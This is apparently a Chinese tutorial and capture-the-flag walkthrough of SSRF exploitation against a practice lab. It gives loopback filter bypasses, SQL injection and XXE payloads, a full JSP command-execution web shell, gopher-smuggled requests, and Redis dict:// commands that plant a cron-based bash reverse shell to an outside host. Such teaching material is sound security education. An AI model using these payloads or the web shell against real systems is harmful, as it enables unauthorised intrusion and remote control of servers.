一、前言
服务器端请求伪造(Server-Side Request Forgery, SSRF)是一种安全漏洞,攻击者可以通过 SSRF 诱使服务器发起请求访问内部资源或外部资源。通常,这种漏洞利用服务器的信任关系进行未授权的访问,可能会导致信息泄露、内部系统扫描、代码执行等问题。SSRF漏洞一般存在于Web应用程序中,这些应用程序接受来自用户的输入,然后将其用于向其他服务 器发出请求。攻击者可以在输入中注入恶意的URL,从而使服务器发起未经授权的请求,以访问敏感 的内部资源。
简单来说就是SSRF 漏洞的根本原因是应用程序没有正确验证或限制用户输入的 URL 或 IP 地址,从而使得攻击者能够控制服务器发出的请求。
二、漏洞场景
SSRF漏洞一般存在于Web应用程序中,这些应用程序接受来自用户的输入,然后将其用于向其他服务 器发出请求。攻击者可以在输入中注入恶意的URL,从而使服务器发起未经授权的请求,以访问敏感的内部资源。
- 文件上传功能:Web应用程序通常允许用户上传文件,攻击者可以上传包含恶意URL的文件,以触发SSRF 漏洞。
- 图片处理功能:Web应用程序通常包含图片处理功能,攻击者可以在图片URL中注入恶意的URL,以触发S SRF漏洞。
- URL重定向功能:Web应用程序可能包含URL重定向功能,攻击者可以在重定向URL中注入恶意的URL,以 触发SSRF漏洞。
- API调用:Web应用程序可能会使用API与其他服务进行交互,攻击者可以在API请求中注入恶意的URL, 以触发SSRF漏洞。
- 分享:通过URL地址分享网页内容,攻击者手动更改分析网页内容
- 所有目标服务器会从自身发起请求的功能点,且我们可以控制地址的参数,都可能造成SSRF漏洞
三、漏洞函数
这里拿php函数作举例
php:这些函数用于发出HTTP请求,包括常见的函数如curl_exec() 、file_get_contents()、fsockopen ()。如果这些函数允许从用户输入中获取URL,但未正确验证和过滤用户输入,攻击者可以通过在URL中 注入恶意代码来触发SSRF漏洞。
curl_exec
格式:curl_exec(resource $ch)
作用:执行 cURL 会话
file_get_contents
格式:file_get_contents(path,include_path,context,start,max_length)
作用:把整个文件读入一个字符串中。将整个文件或一个url所指向的文件读入一个字符串中。
fsockopen
格式:fsockopen(string $hostname [, int $port = -1 [, int &$errno [, string &$errstr [, float $timeout = ini_get(“default_socket_timeout”) ]]]] )
作用:打开一个网络连接或者一个Unix 套接字连接。
四、SSRF中URL的伪协议
file:/// 从文件系统中获取文件内容,如,file:///etc/passwd
dict:// 字典服务器协议,访问字典资源,如,dict:///ip:6739/info:
sftp:// SSH文件传输协议或安全文件传输协议
ldap:// 轻量级目录访问协议
tftp:// 简单文件传输协议
gopher:// 分布式文档传递服务,可使用gopherus生成payload
示例 file读取文件
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
访问一些本地敏感文件
可以通过读取主机hosts文件获取当前主机的ip地址,得到网段情况
示例:dict端口探测
dict 协议是一个在线网络字典协议,这个协议是用来架设一个字典服务的。不过用的比较少,所以网上基本没啥资料。在SSRF漏洞利用中,常常用来探测内网的应用信息 ,感兴趣的可以通过大模型来进行学习
SSRF中常配合dict协议探测一些端口开放情况,可显示出一些带tcp回显的端口
绕过
127.0.0.1,通常被称为本地回环地址(Loopback Address),指本机的虚拟接口,一些表示方法如下(ipv6的地址使用http访问需要加[]):
http://127.0.0.1
http://localhost
http://127.255.255.254
127.0.0.1 - 127.255.255.254
http://[::1]
http://[::ffff:7f00:1]
http://[::ffff:127.0.0.1]
http://127.1
http://127.0.1
http://0:80
http://sudo.cc
另外,0.0.0.0这个IP可以直接访问到本地,也通常被正则过滤遗漏。
302跳转
<?php
header('Location:http://127.0.0.1/flag.php');
这里还分有回显SSRF,无回显SSRF,无回显的情况下可以用一些dnslog平台作为证明,这里不再作演示
五、靶机示例
我们这里使用国光师傅的靶机
靶场的源码:Github – sqlsec/ssrf-vuls
靶场拓补如下:
先理清一下攻击流程,172.72.23.21 这个服务器的 Web 80 端口存在 SSRF 漏洞,并且 80 端口映射到了公网的 8080,此时攻击者通过这个 8080 端口可以借助 SSRF 漏洞发起对 172 目标内网的探测和攻击。
判断ssrf是否存在
尝试一下正常访问外网
访问hosts目录得到内网网段
探测内网端口
可以遍历C段扫描这里可以迭代或者集束炸弹(clusterbomb),我们这里使用前者
第二位设为” : ” 第三位设置为常用端口的字典(我这里上帝视角只放了能渗透的端口)
经过遍历整理出来的端口开放情况:
172.72.23.21 - 80
172.72.23.22 - 80
172.72.23.23 - 80
172.72.23.24 - 80
172.72.23.25 - 80
172.72.23.26 - 8080
172.72.23.27 - 6379
172.72.23.28 - 6379
172.72.23.29 - 3306
172.72.23.22:80 命令执行
首先我们通过ssrf发现能将请求内网的机器正常回显
如果我们想进行正常的目录扫描工作,可使用burp进行爆破常见敏感文件字典
可以很明显看到一个phpinfo.php 和shell.php
phpinfo 算是一个信息泄露
172.72.23.22/shell.php?cmd=cat%20flag
一个简单的命令执行,如果使用浏览器请求的话得把空格换成%20就是经过url编码一次
如果是由burp提交需要经过二次url编码
172.72.23.23 Sqli
这台机器就是最简单的sql联注就直接拿下,通过一些特殊字符代替空格,特殊字符二次解码即可
url=172.72.23.23id=-1'/**/union/**/select/**/(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()),2,3,4%2523
url=172.72.23.23?id=-1'/**/union/**/select/**/(select/**/*/**/from/**/flag_is_here),2,3,4%2523
172.72.23.24 命令注入
这个功能点典中典,但是远没有那么简单。这里提交方式这个是POST,这里再经过了一手SSRF没有办法直接通过http协议请求
这里可以通过gopher 协议传参,gopher是一个古老且强大的协议,可以传递最底层的 TCP 数据流 gopher 协,现在已经不常用了,但是在 SSRF 漏洞利用中 gopher 可 以说是万金油,因为可以使用 gopher 发送各种格式的请求包,可以攻击内网的 FTP、Telnet、 Redis、Memcache,也可以进行 GET、POST 请求,还可以攻击内网未授权MySQL。因为 HTTP 协议也是属于 TCP 数据层的,所以通过 gopher 协议传递 HTTP 的 POST 请求也是轻而易举的。
格式:gopher://<host>:<port>/<gopher-path>/_<TCP数据量>
这里我们先通过前面的靶机手动生成下我们的poc,方便我们理解这个协议后面再通过介绍工具生成
抓取源的POST数据包,进行url两次转码
最终payload
url=gopher://172.72.23.24:80/_<加上两次URL编码后的TCP数据流>
删除这一段请求头:Accept-Encoding: gzip, deflate,如果不删除的话,打出的 SSRF 请求会乱码,因为被两次 gzip 编码了。
如图所示成功执行了我们的命令
172.72.23.25 XXE
这里xxe外部实体注入
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE user [
<!ENTITY xxe SYSTEM "file://etc/hosts" >]>
<user>
<username>&xxe;</username>
<password>admin</password>
</user>
老样子我们通过gopher协议提交
172.72.23.26:8080 Tomcat
CVE-2017-12615 任意文件上传漏洞,这在 Tomcat 漏洞历史中也是比较经典的一个。我这里早年写过一篇笔记,太简单了就不放上去了,没有复现过可的同学可以自行通过vulhub靶机来复现一次。
写入jsp一句话
<%
String command = request.getParameter("cmd");
if(command != null)
{
java.io.InputStream in=Runtime.getRuntime().exec(command).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1)
{
out.println(new String(b));
}
out.print("</pre>");
} else {
out.print("format: xxx.jsp?cmd=Command");
}
%>
改为PUT上传
还是老样子我们经过两次url编码后通过gopher传输
先传一个马子进去,显示201则表示传输成功
再尝试执行一下
172.72.23.27:6379 Redis未授权
Redis是一个key-value 存储系统,是跨平台的非关系型数据库。 Redis一般绑定在本地的6379端口上,如果在没有开启认证的情况下,可以导致任意用户利用ssrf漏洞 攻击内网中的未授权Redis以及读取Redis的数据。 攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,如果运行 redis 的用户是 root 用户, 攻击者可以通过写定时任务的方式进行反弹shell。
6379是redis的默认端口,输入完info后有信息回显redis版本号等等便可确认为未授权
可以通过dict协议创建定时任务反弹shell
# 清空 key
dict://172.72.23.27:6379/flushall
# 设置要操作的路径为定时任务目录,这里目标系统为ubuntu如果目标为centos可尝试将路径换成/var/spool/cron
dict://172.72.23.27:6379/config set dir /var/spool/cron/
# 在定时任务目录下创建 root 的定时任务文件
dict://172.72.23.27:6379/config set dbfilename root
# 写入 Bash 反弹 shell 的 payload
dict://172.72.23.27:6379/set x "\n* * * * * /bin/bash -i >%26 /dev/tcp/x.x.x.x/2333 0>%261\n"
# 保存上述操作
dict://172.72.23.27:6379/save
SSRF 传递的时候记得要把 &
URL 编码为 %26
,上面的操作最好再 BP 下抓包操作,防止浏览器传输的时候被 URL 打乱编码
成功上线
如果要用gopher手动生成数据传输攻击非常繁琐。可利用gopherus工具生成 支持生成mysql, postgresql, fastcgi, redis, smtp, zabbix,pymemcache, rbmemcache, phpmemcache, dmpmemcache
项目地址: https://github.com/tarunkant/Gopherus
直接将生成的poc在网页上提交,注意这里我们需要更改一下生成的地址
监听成功上线
后面还有一个mysql提权,因为我这里用的另一位师傅Duoduo-chino上传docker-compose文件直接拉的环境,后面的环境没放。我懒鬼就先不做了,项目地址:https://github.com/Duoduo-chino,这里如果有想把剩下的靶机添加进来后一一复现的同学需要注意留心自己网络环境 可通过docker network ls 命令查看创建的网络名称,在后期启动容器时添加–network –ip 指定地址才可处于同一子网